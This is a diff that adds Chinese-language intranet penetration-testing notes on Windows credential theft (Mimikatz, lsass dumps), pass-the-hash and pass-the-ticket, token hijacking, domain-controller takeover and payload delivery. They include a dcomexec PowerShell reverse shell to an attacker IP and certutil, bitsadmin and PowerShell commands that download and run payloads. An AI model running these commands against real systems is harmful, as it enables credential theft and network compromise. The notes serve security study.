diff --git a/Chapter15/15-1.md b/Chapter15/15-1.md new file mode 100644 index 0000000..83e2cc5 --- /dev/null +++ b/Chapter15/15-1.md @@ -0,0 +1,26 @@ +### LM Hash 加密算法过程 + +LM Hash 的整个加密过程可以分解为以下几个步骤: + +1. **密码转换:** + - 首先,用户的**明文密码**会被转换为大写字母。这是 LM Hash 最大的安全漏洞之一,因为它会直接忽略密码中所有的大小写信息,大大降低了密码的复杂度。例如,“Password123”和“password123”在经过这一步处理后,都变成了“PASSWORD123” + - 处理后的密码字符串,其长度**不能超过 14 个字符**。如果密码长度大于 14,则只取前 14 个字符 +2. **密码填充与拆分:** + - 在将密码用于下一步加密之前,需要对它进行填充。如果处理后的密码长度小于 14 个字符,则会在其末尾使用**空字符(`\x00`)**进行填充,使其总长度达到 14 个字节 + - 填充后的 14 字节密码会被拆分为两个**7 字节**的字符串 +3. **密钥生成:** + - 接下来,这两个 7 字节的字符串会被分别转换为两个 DES(Data Encryption Standard)密钥 + - 转换过程是这样的:每个 7 字节的字符串会被扩展为一个 8 字节的密钥,其中原始 7 个字节的每个字节的低 7 位用于组成密钥的 56 位有效密钥,剩下的 16 位则作为奇偶校验位 +4. **DES 加密:** + - 这两个 56 位的 DES 密钥会分别用来加密一个固定的字符串,这个字符串是**“KGS!@#$%”**。 + - DES 算法会以**ECB(Electronic Codebook)模式**对这个字符串进行加密 +5. **结果拼接:** + - 最后,将两个 DES 加密后得到的 8 字节结果**拼接**起来,就得到了一个 16 字节(32 个十六进制字符)的 LM Hash + +**LM Hash 的弱点** + +通过上述步骤可以看出,LM Hash 的设计存在多个严重的安全缺陷,这也是为什么它早已被淘汰的原因: + +- **不区分大小写:** 这使得攻击者可以忽略大小写进行暴力破解,显著降低了密码空间的复杂度 +- **固定填充和拆分:** 无论密码长度如何,最终都是两个 7 字节的字符串。这意味着任何长度小于 8 个字符的密码,其第二个 7 字节的字符串都是相同的(全部由空字符填充)。攻击者只需破解前半部分,就可以得到密码 +- **使用弱算法 DES:** DES 算法本身已经很脆弱,并且这里的加密是针对一个固定的、公开的字符串“KGS!@#$%”,这为攻击者提供了巨大的便利,因为他们可以预先计算出所有可能的哈希值,然后进行**彩虹表攻击(Rainbow Table Attack)** \ No newline at end of file diff --git a/Chapter15/15-10.md b/Chapter15/15-10.md new file mode 100644 index 0000000..0f6a814 --- /dev/null +++ b/Chapter15/15-10.md @@ -0,0 +1,64 @@ +### 内网抓取密码的话怎么抓 + +**1. 利用内存中的明文密码** + +这是最直接、最有效的方法之一,尤其是在 Windows 主机上。许多服务和系统进程(如 lsass.exe)为了方便快速验证,会在内存中缓存用户的凭据信息,包括明文密码、哈希值等 + +**常用工具和技术:** + +- **Mimikatz:** 这是 Windows 环境下抓取密码的瑞士军刀。它可以从 **lsass.exe** 进程中提取各种凭据,包括: + - **明文密码(cleartext password)**:如果用户以明文方式登录或者系统配置允许,Mimikatz 可以直接抓取到明文密码 + - **哈希值(NTLM hash)**:即使没有明文密码,Mimikatz 也能抓取到用户的哈希值。这些哈希值可以用于哈希传递(Pass-the-Hash)攻击,在不知道明文密码的情况下登录其他机器 + - **Kerberos 票据(ticket)**:可以用于哈希传递票据(Pass-the-Ticket)攻击 +- **PowerSploit/Mimikatz 的 PowerShell 版本:** 在目标主机上执行 Mimikatz 时,如果担心被杀毒软件拦截,可以使用 PowerShell 版本。它不需要将 Mimikatz 可执行文件写入磁盘,而是直接在内存中执行 + +**注意事项:** + +- 执行 Mimikatz 通常需要 **管理员权限** 或 **SYSTEM 权限** +- 现在很多杀毒软件都会对 Mimikatz 采取强力防御,所以可能需要绕过(bypass)杀软 + +**2. 利用服务和应用程序的配置文件** + +许多服务(如数据库、Web 应用、FTP 服务器等)为了连接到其他主机或数据库,会在配置文件中存储用户名和密码,这些密码有时甚至是明文的 + +**常见的配置文件路径:** + +- **数据库连接文件**:例如 `web.config`、`wp-config.php`,或者其他 `*.ini`、`*.properties` 文件 +- **SSH 配置文件**:Linux 系统中的 `.ssh/config` 或者 Windows 中的相关配置文件,有时会存储私钥或者密码 +- **FTP 客户端配置文件**:例如 FileZilla、Xftp 等客户端软件的配置文件,可能会存储已连接过的服务器凭据 +- **应用程序配置文件**:任何自定义的应用程序,其配置文件中都可能存储硬编码的密码 + +**查找方法:** + +- 使用 `find` 命令(Linux)或 `dir` 命令(Windows)结合 `grep` 或 `findstr` 来搜索包含“password”或“user”等关键词的文件 +- `find / -name "*.conf" | xargs grep "password"` +- `dir /s /b *.ini | findstr /i password` + +**3. 利用密码喷洒** + +如果已经拿到了一份内网的用户列表,但不知道对应的密码,可以尝试使用一个或几个弱密码(如 `123456`、`password`、`P@ssword1`)去批量尝试登录所有用户 + +**优点:** + +- 可以绕过账户锁定策略。因为每次尝试登录时,都只对一个用户使用一个密码,而不是对一个用户使用多个密码 +- 效率高,特别是在内网中存在大量使用弱密码的用户时 + +**常用工具:** + +- **Kerbrute:** 用于 Kerberos 密码喷洒,速度快且不易被检测 +- **Hydra:** 一个强大的在线密码破解工具,可以对各种服务(SSH, FTP, SMB 等)进行密码喷洒 + +**4. 利用哈希传递攻击** + +哈希传递攻击是一种非常强大的横向移动技术,它利用了 Windows 系统的一个特性:在进行 SMB 或其他网络认证时,可以直接使用用户的 NTLM 哈希值,而不需要知道明文密码 + +**基本流程:** + +1. 在 A 主机上通过 Mimikatz 抓取到用户的哈希值 +2. 利用这个哈希值,通过 **PsExec**、**WMI** 或 **SMBExec** 等工具,在不输入密码的情况下登录 B 主机 + +**常用工具:** + +- **Mimikatz:** 除了抓取哈希,Mimikatz 也能直接进行 PtH 攻击 +- **Metasploit 的 psexec_hash 模块** +- **CrackMapExec**:一个非常实用的渗透测试工具,可以批量对内网机器进行哈希传递攻击 \ No newline at end of file diff --git a/Chapter15/15-11.md b/Chapter15/15-11.md new file mode 100644 index 0000000..06039eb --- /dev/null +++ b/Chapter15/15-11.md @@ -0,0 +1,39 @@ +### 内网有杀软又怎么抓 + +**1. 使用 Procdump 转储 lsass.exe 进程** + +**Procdump** 是微软 Sysinternals 工具集中的一个合法程序,它的主要功能是创建进程的内存转储文件(Memory Dump)。这个工具通常被系统管理员用来诊断程序崩溃 + +由于 Procdump 是一个合法的、微软签名的工具,很多杀毒软件默认将其视为可信程序,或者至少不会像对待 Mimikatz 那样立即拦截它对 `lsass.exe` 的访问 + +- **命令:** `procdump64.exe -accepteula -ma lsass.exe lsass.dmp` +- **解释:** + - `-accepteula`:接受许可协议,避免交互式提示 + - `-ma`:指定转储整个内存 + - `lsass.exe`:目标进程 + - `lsass.dmp`:输出的转储文件名 + +执行这个命令后,它会创建一个包含 `lsass.exe` 进程内存数据的 `lsass.dmp` 文件,并将其保存在磁盘上。这一步的重点在于:**没有使用任何恶意工具,只使用了系统管理员常用的合法工具** + +**2. 将转储文件下载到攻击机** + +这一步需要你将 `lsass.dmp` 文件从目标服务器下载到你的本地攻击机。你可以使用多种方法,例如: + +- **HTTP/HTTPS 文件传输:** 在目标机器上通过 `powershell` 或其他工具,将文件上传到你搭建的 Web 服务器。 +- **SMB/SFTP 传输:** 如果网络环境允许,通过 SMB 共享或 SFTP 传输文件 + +这个过程可能会被杀毒软件或网络安全设备检测到,因此需要注意。但即使被检测到,也只是一个数据传输行为,而不是一个恶意代码执行行为 + +**3. 使用 Mimikatz 离线读取转储文件** + +当 `lsass.dmp` 文件下载到你的攻击机后,你就可以在你的本地机器上运行 Mimikatz,并让它去分析这个转储文件,而不是去连接目标机器的 `lsass.exe` 进程 + +- **命令:** + - `mimikatz.exe` + - `privilege::debug` + - `sekurlsa::minidump lsass.dmp` + - `sekurlsa::logonpasswords` +- **解释:** + - `privilege::debug`:获取调试权限,这是 Mimikatz 正常工作所必需的 + - `sekurlsa::minidump lsass.dmp`:指定 Mimikatz 从 `lsass.dmp` 文件而不是实时进程中读取数据 + - `sekurlsa::logonpasswords`:从加载的转储文件中提取登录凭据 \ No newline at end of file diff --git a/Chapter15/15-12.md b/Chapter15/15-12.md new file mode 100644 index 0000000..3209283 --- /dev/null +++ b/Chapter15/15-12.md @@ -0,0 +1,6 @@ +### 操作系统什么版本之后抓不到密码 + +从 **Windows 8.1 / Windows Server 2012 R2** 开始,微软为了应对 Mimikatz 这类工具,引入了 **Protected Process Light (PPL)** 安全机制 + +- **PPL 机制:** PPL 使得 **`lsass.exe`** 进程成为了一个“受保护的进程”,这大大限制了非受信任的进程对其内存的访问。这意味着,像 Mimikatz 这样的工具,即使以管理员权限运行,也无法直接注入或读取 `lsass.exe` 的内存来获取明文密码或哈希 +- **Credential Guard:** 在 **Windows 10 企业版** 和 **Windows Server 2016** 及以上版本中,微软又引入了 **Credential Guard** 功能。它使用基于虚拟化的安全技术(VBS)来隔离 `lsass.exe`,进一步保护凭据。这意味着,即使攻击者获得了内核权限,也很难从 `lsass.exe` 进程中窃取凭据 \ No newline at end of file diff --git a/Chapter15/15-13.md b/Chapter15/15-13.md new file mode 100644 index 0000000..2683edf --- /dev/null +++ b/Chapter15/15-13.md @@ -0,0 +1,27 @@ +### 抓不到密码怎么绕过 + +**1. 哈希传递** + +这是在 Windows 环境下,当无法获取明文密码时的首选攻击方式。正如我们之前讨论的,Windows 在网络认证时可以直接使用用户的哈希值 + +- **执行方式:** 使用 **Mimikatz**、**PsExec** 或者 **CrackMapExec** 这类工具,它们能够直接利用窃取的哈希值,在不知道明文密码的情况下,以该用户的身份登录到内网中的其他机器 +- **具体思路:** + 1. 找到一种方法在目标机器上运行 Mimikatz 或类似工具。即使它无法获取明文密码,它通常也能抓取到用户的 **NTLM 哈希** + 2. 将抓取到的哈希值复制到你的攻击机上 + 3. 使用 `PsExec.exe \\目标IP -u 用户名 -h 哈希值 cmd.exe` 这样的命令,直接在目标机器上获得一个交互式 Shell + +这个方法非常有效,因为即使是最新版本的 Windows,只要没有配置额外的安全措施(比如 Credential Guard),哈希传递攻击依然可行 + +**2. 票据传递** + +这个技术是在 **Kerberos** 认证环境下使用的,更加高级和隐蔽 + +- **执行方式:** 利用 Mimikatz 或其他工具,从内存中窃取用户的 **Kerberos 票据(Ticket)**,然后将这个票据注入到你的攻击机内存中 +- **具体思路:** + 1. 在目标机器上获得一个域用户的会话 + 2. 使用 Mimikatz 的 `sekurlsa::tickets /export` 命令,导出内存中的 Kerberos 票据 + 3. 将导出的票据文件传送到你的攻击机 + 4. 在你的攻击机上,使用 `kerberos::ptt` 命令,将票据注入到你的会话中 + 5. 现在,你可以像票据的主人一样访问域内资源,而无需知道密码或哈希 + +这种方法的好处是,它不涉及密码或哈希的传输,更加难以被检测 \ No newline at end of file diff --git a/Chapter15/15-14.md b/Chapter15/15-14.md new file mode 100644 index 0000000..70939c6 --- /dev/null +++ b/Chapter15/15-14.md @@ -0,0 +1,41 @@ +### 桌面有管理员会话,怎么做会话劫持 + +**步骤一:获取 SYSTEM 权限** + +要窃取管理员的令牌,你首先需要获得比该管理员会话更高的权限,通常是 **SYSTEM 权限** + +- **方法一:** 如果你当前是以管理员权限运行的,可以尝试直接使用 Mimikatz 的 `token::elevate` 命令,它会尝试提升到 SYSTEM 权限 +- **方法二:** 如果当前权限较低,可以通过提权漏洞(如服务权限配置错误、内核漏洞等)来提升到 SYSTEM 权限 + +**步骤二:识别目标进程** + +你需要找到一个由管理员账户启动的进程,该进程的令牌是你想要窃取的。通常,你可以通过 `tasklist /v` 命令来查看所有进程及其所属的用户 + +- **常用目标进程:** + - `explorer.exe`:这是桌面进程,通常由当前登录的用户启动 + - `winlogon.exe`:这是一个关键的系统进程,与用户会话和登录相关 + - 其他由管理员账户启动的应用程序 + +**步骤三:窃取并冒用令牌** + +一旦你有了 SYSTEM 权限,就可以使用 Mimikatz 来窃取令牌 + +- **命令:** + 1. `mimikatz.exe` + 2. `privilege::debug` + 3. `token::elevate` + 4. `whoami` (此时你应该看到你是 `NT AUTHORITY\SYSTEM`) + 5. `ts::session` (列出所有会话,找到管理员的会话 ID) + 6. `ts::s` + `<会话ID>` (切换到管理员的会话) + 7. `token::list` (列出当前会话的所有令牌,找到管理员的令牌) + 8. `token::impersonate /p:<进程ID>` (冒充管理员会话的某个进程的令牌) + 9. `whoami` (此时你应该看到你已经是管理员用户了) + +**步骤四:执行命令** + +当你成功冒充管理员身份后,你就可以执行任何管理员权限的命令,例如: + +- `shell powershell` +- `shell cmd.exe` +- 创建新的管理员账户 +- 执行横向渗透命令(如 `PsExec`、`WMI`) \ No newline at end of file diff --git a/Chapter15/15-15.md b/Chapter15/15-15.md new file mode 100644 index 0000000..0fbb527 --- /dev/null +++ b/Chapter15/15-15.md @@ -0,0 +1,45 @@ +### 当前机器上有一个密码本但被加密了,应该怎么办 + +**1. 识别加密算法和工具** + +首先,你需要弄清楚这个密码本是用什么工具加密的,或者使用了哪种加密算法。这能帮你选择正确的破解方向和工具。 + +- **文件名或扩展名:** 看看文件有没有特殊的扩展名,比如 `.rar`、`.7z`、`.zip` 等。如果是压缩文件,那破解思路就清晰多了 +- **文件头分析:** 使用十六进制编辑器(如 `HxD` 或 `WinHex`)打开文件,检查文件头(前几个字节)。不同的文件格式,其文件头是不同的,这能给你一些线索 +- **关联进程或应用程序:** 检查这台机器上是否安装了加密软件,比如 `VeraCrypt`、`7-Zip`、`WinRAR` 等。如果你能找到相关的加密工具,那破解会更容易 + +**2. 尝试常见密码和弱口令** + +这是最简单,但往往也是最有效的办法。很多人会使用简单、容易记住的密码 + +- **常见密码字典:** 尝试一些常见的弱口令,比如 `123456`、`password`、`admin`、`qwerty` 等 +- **基于用户信息生成字典:** 如果你对这台机器的用户有所了解,可以生成一个针对性的字典。比如,用户名、生日、公司名、项目名等 + +**3. 利用破解工具** + +一旦你确认了加密类型,就可以使用专门的破解工具进行暴力破解或字典攻击。 + +**压缩文件(RAR, ZIP, 7z)** + +- **John the Ripper (JTR):** 一个强大的离线密码破解工具。它支持多种哈希类型和加密格式,可以用于破解加密的压缩文件 +- **Hashcat:** 另一款非常流行的 GPU 加速密码破解工具。Hashcat 的速度比 JTR 快很多,特别适合面对复杂密码 +- **专用工具:** 比如 `fcrackzip` 或 `7z2john`(JTR 自带),这些工具能把加密文件的哈希提取出来,然后用 JTR 或 Hashcat 进行离线破解 + +**磁盘加密或容器(VeraCrypt, BitLocker)** + +- **Mimikatz 的 `sekurlsa::dpapi`:** 如果管理员会话还在,并且你拥有 SYSTEM 权限,可以尝试用 `mimikatz` 抓取 DPAPI 的主密钥。这个主密钥通常用于加密其他密钥,可能可以用来解密加密卷 +- **VeraCrypt 破解:** 有一些开源工具可以配合 Hashcat 来破解 VeraCrypt 容器。但这个过程通常非常耗时,且需要强大的算力 + +**4. 提取哈希并离线破解** + +如果可能,你应该将密码本的哈希提取出来,然后带回到你的本地机器上进行离线破解。这样做有几个好处: + +- **隐蔽性:** 避免在目标机器上运行高强度的 CPU/GPU 任务,从而减少被安全软件检测到的风险 +- **效率:** 你可以使用自己的高性能硬件(如 GPU)来进行破解,速度会快很多 + +**具体步骤:** + +1. **找到对应的哈希提取工具:** 例如,`zip2john`、`rar2john` 或 `7z2john`。这些工具可以从加密文件中提取出哈希 +2. **提取哈希:** 在目标机器上运行这些工具,生成一个哈希文件 +3. **下载哈希文件:** 将这个小小的哈希文件传回你的本地机器 +4. **本地破解:** 在你的本地机器上,使用 `John the Ripper` 或 `Hashcat` 等工具,针对这个哈希进行字典攻击或暴力破解 \ No newline at end of file diff --git a/Chapter15/15-16.md b/Chapter15/15-16.md new file mode 100644 index 0000000..dadfe18 --- /dev/null +++ b/Chapter15/15-16.md @@ -0,0 +1,49 @@ +### Dcom 怎么操作 + +**利用 DCOM 执行命令** + +这里我们主要介绍使用 `Impacket` 中的 `dcomexec.py` 工具,因为它非常灵活且功能强大 + +**基本语法:** + +```bash +dcomexec.py /:@ 'command' +``` + +**示例:** + +假设你拥有一个域用户 `testuser` 的密码 `Password123!`,目标机器 IP 是 `192.168.1.100`,你想执行 `whoami` 命令 + +```bash +dcomexec.py testdomain/testuser:Password123!@192.168.1.100 'whoami' +``` + +如果成功,你会看到命令的输出 + +### 利用 DCOM 获取交互式 Shell + +仅仅执行单条命令是不够的,通常我们希望获得一个交互式的 Shell。`dcomexec.py` 同样可以做到 + +**示例:** + +使用 `dcomexec.py` 启动一个反弹 Shell 的命令 + +1. **监听端口:** 在你的攻击机上,用 `netcat` 或其他工具监听一个端口,例如 4444 + + ```bash + nc -lvnp 4444 + ``` + +2. **执行命令:** 在目标机器上,利用 DCOM 执行一个 PowerShell 反弹 Shell 的命令。你需要将 `` 和 `` 替换为你的实际 IP 和端口 + + ```bash + dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "powershell -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444" + ``` + + 或者使用更简单的 `certutil` 下载并执行恶意脚本: + + ```bash + dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "cmd.exe /c certutil.exe -urlcache -f http:///shell.bat && shell.bat" + ``` + + 如果成功,你的 `netcat` 监听器上会收到一个反弹回来的 Shell \ No newline at end of file diff --git a/Chapter15/15-17.md b/Chapter15/15-17.md new file mode 100644 index 0000000..0e7bf06 --- /dev/null +++ b/Chapter15/15-17.md @@ -0,0 +1,52 @@ +### 获取域控的方法有哪些 + +**1. 信息收集与利用** + +**SYSVOL** + +SYSVOL 是 Active Directory 中的一个共享文件夹,用于存储域内所有域控的公共文件,比如组策略(Group Policy)脚本。在渗透测试中,SYSVOL 是一个宝贵的信息源。攻击者可以通过访问 `\\\SYSVOL\\Policies` 路径,获取域内所有用户的组策略信息。这些文件中可能包含硬编码的密码、管理员账户信息或其他敏感配置,有时可以直接利用这些信息进行横向移动 + +**SPN 扫描** + +SPN 是服务在 Kerberos 认证中的唯一标识。SPN 扫描(通常使用工具如 `setspn -T -q */*` 或 PowerView)可以发现域内所有注册了 SPN 的服务。许多服务(如 SQL Server、IIS 等)会使用域服务账户运行。如果这些服务账户的密码较弱,攻击者可以通过 Kerberoasting 攻击,请求这些服务的 TGS 票据,然后离线破解票据中的哈希,从而获取服务账户的明文密码 + +**2. 凭证窃取与传递** + +**凭证窃取** + +这是渗透测试中的核心技术。除了之前提到的 Mimikatz 和 LSASS 转储,还有其他多种方式: + +- **注册表和文件窃取:** 许多应用程序会在注册表或文件中存储凭据 +- **浏览器凭据:** 窃取浏览器中保存的密码 + +**黄金票据与白银票据** + +这是 Kerberos 认证体系中的两种强大攻击方式,能让攻击者在域内获得几乎无限的权限 + +- **黄金票据 (Golden Ticket):** 利用域内 KDC 服务的哈希(通常是 `krbtgt` 账户的哈希),伪造一个任意用户的 Kerberos TGT 票据。这个票据可以让我们在整个域内伪装成任何用户(通常是域管理员),访问任何服务。只要 `krbtgt` 账户的哈希没有改变,这个票据就是“永恒”的,可以持久化控制整个域 +- **白银票据 (Silver Ticket):** 利用特定服务账户的哈希(如 `CIFS` 或 `MSSQLSvc`),伪造一个特定服务的 Kerberos TGS 票据。这个票据只能用于访问该特定服务,权限相对受限,但同样非常强大 + +**哈希传递攻击和 NTLM Relay** + +- **NTLM Relay:** 攻击者在域内中间人攻击中,截获用户的 NTLM 认证请求,并将其转发到另一个服务(如 SMB、LDAP、HTTP 等),从而以受害用户的身份在该服务上执行操作。如果被中继的用户是域管理员,攻击者可以在没有明文密码的情况下,以域管理员的身份在目标机器上创建新的账户或执行其他恶意操作 + +**3. 特殊漏洞利用与攻击链** + +**Kerberos 委派** + +Kerberos 委派允许一个服务以用户的身份去访问另一个服务。如果配置不当,攻击者可以利用非约束性委派或约束性委派中的漏洞,在特定条件下实现权限提升和横向移动。例如,如果一个服务配置了非约束性委派,攻击者可以劫持该服务,等待域管理员访问,从而获取其 TGT 票据,实现权限提升 + +**MS14-068 (Kerberos 漏洞)** + +这是一个古老的但经典的 Kerberos 漏洞。攻击者可以利用该漏洞在未打补丁的域内普通主机上,伪造一个有效的 Kerberos 票据,并利用这个票据来提升权限,最终以域管理员身份获取域控权限。尽管现在大多数系统都已打补丁,但了解其原理对渗透测试仍然有价值 + +**Zerologon 漏洞 (CVE-2020-1472)** + +这是一个非常严重的漏洞。它允许攻击者在未认证的情况下,通过 Netlogon 协议将域控的机器账户密码重置为空。一旦密码被重置,攻击者就可以以该账户(例如 `DC01$`)的身份完全接管域控。在渗透测试中,这是最直接和高效的获取域控权限的方法之一 + +**CVE-2021-42278 和 CVE-2021-42287** + +这是两个密切相关的 Kerberos 漏洞,通常被称为“**SAMAccountName 欺骗攻击**” + +- **CVE-2021-42278:** 允许攻击者通过修改一个非域控计算机账户的 `sAMAccountName` 属性,将其伪装成域控 +- **CVE-2021-42287:** 结合前一个漏洞,当域内服务发现一个机器账户的 `sAMAccountName` 属性与域控名称一致时,它会为该账户请求一个 TGT 票据。攻击者利用这个 TGT 票据,可以冒充域控,进一步获取 krbtgt 账户的哈希,最终实现黄金票据攻击 \ No newline at end of file diff --git a/Chapter15/15-18.md b/Chapter15/15-18.md new file mode 100644 index 0000000..28ecdbf --- /dev/null +++ b/Chapter15/15-18.md @@ -0,0 +1,12 @@ +### DLL 劫持原理 + +Windows 系统在加载一个程序所需的 DLL 文件时,会遵循一个固定的搜索路径。这个路径通常包括: + +1. **程序所在目录**:这是优先级最高的。系统会首先在可执行文件所在的文件夹内查找所需的 DLL。 +2. **系统目录**:如 `C:\Windows\System32`。 +3. **16 位系统目录**:`C:\Windows\System`。 +4. **Windows 目录**:`C:\Windows`。 +5. **当前工作目录**:程序启动时所在的目录。 +6. **环境变量 `PATH` 中指定的目录**。 + +**DLL 劫持**正是利用了第一条规则。很多软件在编程时,并没有指定所需 DLL 的绝对路径,而是依赖于系统的默认搜索顺序。如果攻击者知道某个程序需要加载一个名为 `abc.dll` 的文件,他们就可以制作一个同名的恶意 DLL,并将其放置在程序所在的文件夹中。当用户双击运行这个程序时,系统会优先加载这个恶意的 `abc.dll`,而不是位于系统目录中的合法 DLL \ No newline at end of file diff --git a/Chapter15/15-19.md b/Chapter15/15-19.md new file mode 100644 index 0000000..6da7aaf --- /dev/null +++ b/Chapter15/15-19.md @@ -0,0 +1,5 @@ +### DPAPI 机制能干嘛 + +DPAPI 最大的特点是,它将加密数据和加密密钥都存储在本地。这意味着,只要我们能够以**目标用户的身份**登录系统,或者能够获取到该用户的**主密钥**(Master Key),我们就能解密所有被 DPAPI 加密的数据 + +而这个“主密钥”通常是和用户的登录密码哈希相关联的。一旦我们通过各种手段(如内存转储、LSASS 进程攻击)获取了用户的凭证哈希,我们就可以利用专门的工具来解密主密钥,进而解密所有 DPAPI 加密的数据 \ No newline at end of file diff --git a/Chapter15/15-2.md b/Chapter15/15-2.md new file mode 100644 index 0000000..b182ab6 --- /dev/null +++ b/Chapter15/15-2.md @@ -0,0 +1,38 @@ +### 与 SMB 协议相关的漏洞有哪些 + +**1. 永恒之蓝** + +这是最著名的 SMB 漏洞,没有之一。它利用了 **SMBv1** 协议中的一个远程代码执行漏洞(**CVE-2017-0144**) + +- **漏洞原理:** 攻击者通过向目标主机发送特制的数据包,利用 SMBv1 协议中处理内核模式下数据包的方式中的一个缓冲区溢出漏洞。一旦利用成功,攻击者便可以在目标主机上以系统权限远程执行代码 + +**2. 永恒之蓝的变种与相关漏洞** + +永恒之蓝并非单一漏洞,而是与一系列相关漏洞紧密相连的武器库的一部分,其中一些同样非常危险 + +- **永恒之红(EternalRed):** 利用 SMBv1 协议中的另一个漏洞(**CVE-2017-0143**),用于侦测目标主机是否可被利用 +- **永恒之黑(EternalBlack):** 同样是 SMBv1 协议的漏洞,用于窃取目标主机的哈希密码 + +这些漏洞通常与永恒之蓝协同工作,构成一个完整的攻击链,用于信息收集和代码执行 + +**3. SMBGhost(SMBv3中的远程代码执行)** + +SMBGhost(又称 **SMBleed**)是针对较新版本 SMB 协议(**SMBv3.1.1**)的漏洞 + +- **漏洞编号:** **CVE-2020-0796** +- **漏洞原理:** 该漏洞是由于SMBv3协议处理压缩数据的方式存在一个整数溢出,导致内核模式下的远程代码执行。这个漏洞的危险之处在于它**无需身份验证**,只要目标主机的 445 端口开放,攻击者就可以直接利用 + +**4. SMB中继攻击** + +SMB 中继攻击不是一个具体的代码漏洞,而是一种利用 SMB 协议设计缺陷的**逻辑漏洞** + +- **漏洞原理:** 当一个用户尝试访问攻击者控制的 SMB 服务器时,攻击者可以捕获用户的 SMB 认证请求,并将其“中继”到另一个目标服务器。由于 SMBv2/v3 使用 NTLMv2 认证,攻击者可以不破解密码,而是直接利用用户的凭证哈希在目标服务器上进行身份验证 +- **影响:** 攻击者可以绕过密码,以受害者的身份访问其他服务器,通常用于内网横向移动 +- **防范:** 主要的防御措施是启用 **SMB 签名**。SMB 签名可以验证 SMB 数据包的完整性和来源,从而防止中继攻击 + +**5. SMB1 远程代码执行(CVE-2017-0147)** + +这是一个在 SMBv1 中处理特殊数据包时存在的另一个漏洞,与永恒之蓝密切相关 + +- **漏洞编号:** **CVE-2017-0147** +- **漏洞原理:** 这是一个在 `Srvnet.sys` 驱动程序中处理 SMB 报文时存在的漏洞,攻击者可以发送一个恶意的 SMB请求来触发内核崩溃,从而导致远程代码执行 \ No newline at end of file diff --git a/Chapter15/15-20.md b/Chapter15/15-20.md new file mode 100644 index 0000000..afe5c7d --- /dev/null +++ b/Chapter15/15-20.md @@ -0,0 +1,23 @@ +### MS14-068 原理 + +**1. MS14-068 漏洞的本质** + +这个漏洞发生在域控制器(Domain Controller)处理 Kerberos TGT 请求的环节。它的根源是 **Kerberos 的一个签名验证绕过漏洞** + +在一个正常的 Kerberos 认证流程中: + +1. 用户使用自己的凭证(密码哈希)向域控制器请求 TGT +2. 域控制器验证用户的凭证,并生成一个 TGT。这个 TGT 内部包含了用户的身份信息、权限组等数据,并且会用**域控制器自身的密钥**进行签名,以确保其完整性 +3. 用户拿到 TGT 后,可以用它向域控制器请求其他服务的票据,从而访问域内资源 + +而 MS14-068 的漏洞就出在第2步:**域控制器对 TGT 签名的验证逻辑存在缺陷** + +**2. 详细原理:利用过程** + +MS14-068 的攻击利用过程可以分解为以下几个关键步骤: + +- **步骤一:收集信息** 攻击者需要一个**普通域用户账户**的凭证(用户名、密码哈希或 AES 密钥)。这个账户不需要任何特殊权限。同时,攻击者还需要知道域控制器的**域 SID** +- **步骤二:伪造 SID(SID Splicing)** 这是攻击的核心。攻击者在本地伪造一个身份信息,其中包含了普通用户的 SID,但同时还偷偷插入了一个**伪造的域管理员组 SID**(通常是 `S-1-5-21-XXX-519`,也就是 `Domain Admins` 的组 SID) +- **步骤三:绕过签名验证** 攻击者将伪造的身份信息打包成一个伪造的 Kerberos 请求。由于域控制器的签名验证机制存在缺陷,它不会正确地校验票据的完整性。当它收到这个请求时,它会**错误地认为**这个请求是合法的 +- **步骤四:生成高权限 TGT** 域控制器被成功欺骗,它会根据伪造的请求,生成一个**错误的 TGT**。这个 TGT 包含的权限信息是伪造的,即它会**错误地授予用户域管理员组的权限**。最重要的是,这个错误的 TGT 会被用**域控制器自身的密钥**签名 +- **步骤五:权限提升** 攻击者拿到这个被域控制器“官方认证”的、拥有域管理员权限的 TGT 后,就可以用它**自由地访问域内任何资源**。这个伪造的 TGT 和真正的域管理员的 TGT 没有任何区别 \ No newline at end of file diff --git a/Chapter15/15-21.md b/Chapter15/15-21.md new file mode 100644 index 0000000..44be304 --- /dev/null +++ b/Chapter15/15-21.md @@ -0,0 +1,104 @@ +### 内网文件 exe 落地怎么去做,用什么命令去执行来落地 + +**1. 文件落地前的准备** + +在执行文件落地之前,你需要做好以下准备工作: + +- **选择合适的工具**:你需要一个轻量、隐蔽、功能强大的工具,例如 **`meterpreter`**,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload +- **设置文件服务器**:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件 + - **HTTP 服务器**:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:`python3 -m http.server 80` + - **SMB 服务器**:使用 **`Impacket`** 工具包中的 **`smbserver.py`** 脚本,可以搭建一个 SMB 服务器 + +**2. 内网文件落地常用命令** + +一旦你获得了目标机器的权限,就可以使用以下命令来下载文件: + +**方法一:使用 PowerShell (推荐)** + +PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具 + +- **使用 `Invoke-WebRequest` 或 `iwr`** 这是最常用的方法,它可以在后台下载文件,并且功能强大 + + ```powershell + # 下载文件并保存到指定路径 + Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe + # 或者使用别名 + iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe + ``` + +- **使用 `.NET` 对象** 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet + + ```powershell + $WebClient = New-Object System.Net.WebClient + $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe") + ``` + +**方法二:使用 `certutil`** + +`certutil` 是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能 + +- **下载命令** + + ```cmd + certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe + ``` + + - `-urlcache`:允许从 URL 下载 + - `-split`:将下载的文件保存为独立文件 + - `-f`:强制下载文件 + +**方法三:使用 `bitsadmin`** + +`bitsadmin` 是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用 + +- **下载命令** + + ```cmd + bitsadmin /transfer myjob http://<攻击机IP>/payload.exe 